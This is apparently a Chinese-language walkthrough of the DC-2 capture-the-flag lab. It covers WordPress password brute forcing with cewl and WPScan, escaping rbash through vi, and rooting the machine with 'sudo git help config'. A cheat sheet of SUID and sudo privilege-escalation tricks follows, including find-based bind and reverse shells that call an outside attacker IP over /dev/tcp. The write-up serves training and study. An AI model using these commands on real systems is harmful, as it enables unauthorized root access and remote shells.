Created: November 10, 2023 3:01 PM
Tags: WordPress, git提权, rbash逃逸
Owner: 只会摸鱼
扫描存活主机,找到靶机ip:192.168.199.131(本机是192.168.199.129)
扫描端口开放协议
指纹识别
返回页面查看是否有其他信息提示
发现了页面提供了flag提示信息
提示了使用cewl 得到字典, 使用尝试使用身份登录
使用cewl输出字典,到文件dicts.txt
因使用的是WordPress,可使用专门针对此CMS的工具WPScan进行枚举用户名,并爆破。
逐个对三个用户进行密码爆破。
wpscan --url dc-2 -U ‘admin,jerry,tom’ -P ~/Desktop/dicts.txt
只有jerry 和tom爆破出了密码
尝试登录,jerry登陆成功,找到第二个flag
尝试ssh登录,使用jerry和tom账号,使用jerry账号和密码,无论怎么尝试都无法登录,尝试使用tom账号和密码,成功登录。
应该是rbash,尝试rbash逃逸
查看有哪些命令权限
使用vi设置shell
直接输入vi进入编辑器页面,按esc+:输入命令set shell=/bin/bash回车后在输入:shell
回车后会弹出如下页面,即成功,接下来要配置环境变量以正常执行命令。
配置完,即可正常执行shell命令
查看flag3文件,发现提示,让使用登录tom后用su命令切换到jerry
使用jerry的密码尝试登陆,发现成*
查找flag文件
find / -name “*flag*”
找到了flag4,得到了提示, git 提权
使用sudo git help config打开config页面
输入!/bin/bash
回车后,弹出root交互shell,即成功,找到最后的flag读出。
它与一般shell的区别在于会限制一些行为,让一些命令无法执行。
简单理解就是最低权限的用户
cp /bin/bash /bin/rbash # 复制一个bash,重命名为rbash
useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令
echo $PATH # 弹出当前PATH环境变量
echo 路径+ /* #路径使用最后为bin目录的,以找到当前所有可以执行的程序命令
适用版本:nmap2.02至5.21
在早期nmap版本中,带有交互模式,因而允许用户执行shell命令
使用如下命令进入nmap交互模式:
nmap --interactive
在nmap交互模式中 通过如下命令提权
nmap> !sh
msf当中也有利用nmap进行提权的模块
exploit/unix/local/setuid_nmap
find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
提权如下:
#进入shell
find anyfile -exec '/bin/sh' \; 或者 find anyfile -exec '/bin/bash' \;
#其中find 常用
find / -exec '/bin/bash' \; 或者 find / -exec '/bin/sh' \;
linux一般都安装了nc 我们也可以利用nc 广播或反弹shell
广播shell:
find user -exec nc -lvp 4444 -e '/bin/sh' \;
#或者
find user -exec nc -lvp 4444 -e '/bin/bash' \;
在攻击机上:
nc 靶机ip 4444
反弹shell
find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;
在攻击机上:
nc -lvvp 4444
vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
vim.tiny /etc/passwd
通过vim进入shell
vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell
设置环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
Vi
通过vi进入shell
vi
#vi命令
:set shell = '/bin/sh' 或者 :set shell='/bin/bash'
:shell
设置环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
BASH_CMDS设置shell
BASH_CMDS[x]=/bin/bash
#设置了个x变量shell
x
#相当于执行shell
设置一下环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
以下命令将以root身份打开一个bash shell。
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
less命令也可以进入shell
less /etc/passwd
#在less中输入:
!/bin/sh 或者 !/bin/bash
more命令进入shell和less相同
more /etc/passwd
#在more中输入:
!/bin/sh 或者 !/bin/bash
要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!
命令进入shell
nano也算是比较上古的文本编辑器了
nano进入shell的方法为
nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令
使用cp 命令覆盖原来的/etc/passwd
文件
awk命令进入shell:
awk 'BEGIN {system("/bin/bash")}'
前提是执行sudo -l 提示不需要密码可以使用git命令
sudo git help config #在末行命令模式直接输入
!/bin/bash 或 !'sh' #完成提权
sudo git -p help #弹出help信息窗口
!/bin/bash #输入后,即可打开一个用户为root的shell